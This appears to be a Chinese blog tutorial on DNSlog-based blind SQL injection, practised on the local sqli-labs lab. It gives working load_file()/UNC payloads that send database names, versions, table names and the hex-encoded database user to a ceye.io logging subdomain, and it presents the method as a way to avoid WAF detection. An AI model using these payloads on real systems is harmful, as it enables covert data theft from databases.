对于sql盲注,常用的方法应该是二分法了,为此之前还写过通过二分法猜解的半自动化python脚本,说实话,python甲苯比起手动真的已经是好多了,可是我内心其实还是挺怵写脚本的,而且这种脚本二分法猜解发送的请求频繁麻烦不说,还容易被waf检测到,以至于ip被封。于是最近学习了一种sql盲注的奇淫技巧。
step1. 介绍CEYE平台
- 点击进去注册一个帐号,这个平台应该是知道创宇的,因为之前注册过,所以这我直接登录即可,大家注册完毕应该和我一样如下图所示:
- 注册完之后会自动的在一级域名
ceye.io
下分配一个二级域名如xxxxx.ceye.io
一级域名是要钱的也是人家的,二级域名就不要钱了,你注册一个帐号,它可以给你分配一个二级域名,这个大家应该知道吧,给大家提点一下,希望有助于大家理解.
- 在这儿,我只给大家简单说一下,这个平台注册完之后你可以理解其为自己的一台dns服务器吧,当你访问你的域名或者有HTTP请求时候,这个地方会记录你访问的日志,要是不明白看如下图示:
- 下面通过一个简单操作,再次有助大家理解
比如浏览器访问http://zzqsmile.xxxxx.ceye.io/,如下图所示:
- 然后回头看
CEYE
,记得reload
刷新一下
此时我相信你已经理解这个平台的作用了吧,其实就是一个dns解析服务器,只不过只能访问
xxxxx.ceye.io
及其子域名,才会产生dns日志而已。其他的暂不解释,接着我们今天要将的SQL盲注奇淫技巧。
step2. load_file(filename)函数
相信学习过通过sql注入读写服务器文件的对这个函数应该不陌生,在这我再简单提一下这个函数的作用。
load_file(filename)读取文件并返回文件内容为字符串.使用此函数需要满足以下条件: (1).所读文件必须在服务器上,且必须指定文件其绝对路径 (2).连接当前数据库用户必须有FILE权限 (3).文件内容必须小于max_allowed_packet。
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
实际上load_file()函数还可以用来发送dns解析请求,接下来就实际尝试一下。
- 利用的payload是
load_file(concat('\\\\\\\\',(select database()),'.xxxx.ceye.io\\abc'))
。
database()就是要做sql注入查询的地方。
concat是字符串拼接
后面的abc可以改也可以不改,无所谓的,你乐意写啥就写啥
上面拼接的结果就是'\\\\ schema_name.XXXX.ceye.io\\abc',其实相当于访问了带有数据库名称的三级域名,被dnslog捕获到了
step3. sqli-labs靶场练习
sqli-labs/第五关就是sql盲注,就拿这个来练习一下今天学的这个奇淫技巧吧。
payload:?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+
获取当前数据库
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+
- 获取数据库版本
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select version()),'.xxxxx.ceye.io\\abc'))),1,1)--+
-获取数据库security
中的表
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
值得说的是,这种方法不能同时查询多个结果,因此需要使用
limit
来控制每次查询一条结果。
- 当然此时有人可能疑问到底有多少张表呢?没错使用
count()
,我尝试一下是可以查询到有几张表的。如下所示:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select count(table_name) from information_schema.tables where table_schema='security'),'.xxxxx.ceye.io\\abc'))),1,1)--+
- 同理查询字段也类似而已,但是经本人测试,查询
user()
时候就没查询出来。这是为什么呢? 因为select user()
查询到的是root@localhost
这样在url里面就变成了http://root@localhost.xxxxx.ceye.io/,显然这样的url不是我们想要的,因为里面有特殊字符@
,这样访问的时候就会将root
当成用户名,来访问localhost.xxxxx.ceye.io/
站点,这点不懂的需要去了解一下URL的组成。正如下图所示:
那么现在明白为什么查询
user()
查询不到了吧,而我现在找到的解决办法是将查询的结果通过base64编码输出出来,但是这个需要mysql版本大于5.6.1
才能使用to_base64()
编码函数,而我现在的数据库版本是5.5.53
,无奈再次就不再演示了,顺便在说下base64解码函数from_base64()
至于mysql版本小于
5.6.1
就没办法了吗?我现在能想到的就是先查询字符串结果的长度,然后通过一个一个拆分,将其ascii编码,然后查询到我们在解码,最后拼接得到结果。虽然麻烦,还好一般字符串不会太长。以后有时间有更好的方法再分享吧。之前说使用dnslog查询的有的内容是不能带入URL的,后来也没想到办法,但是后来有想到可以将查询到的内容进行
hex()
十六进制编码再带进URL里面访问,这样我们就能在dnslog里面看到我们查询到的信息了,不过看到的是十六进制编码内容,我们在将其解码即可。下面一个简单的例子学习以下这个姿势
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(user())),'.k3i80p.ceye.io\\abc'))),1,1)--+
将查询数据hex()解密一下看看,nice,没错是root@locakhost
好了,今天的奇淫技巧就到这,大家没事也可以尝试尝试,总结总结,不过友情提示:今天这个奇淫技巧对与window服务器是没问题的,但是Linux服务器貌似不行,至于是什么原因,好像是由于
unc
的缘故,大家可以去Google或者百度一下unc
,笔者有时间也会再去深入研究其原因和其局限性,到时候再更新补充吧。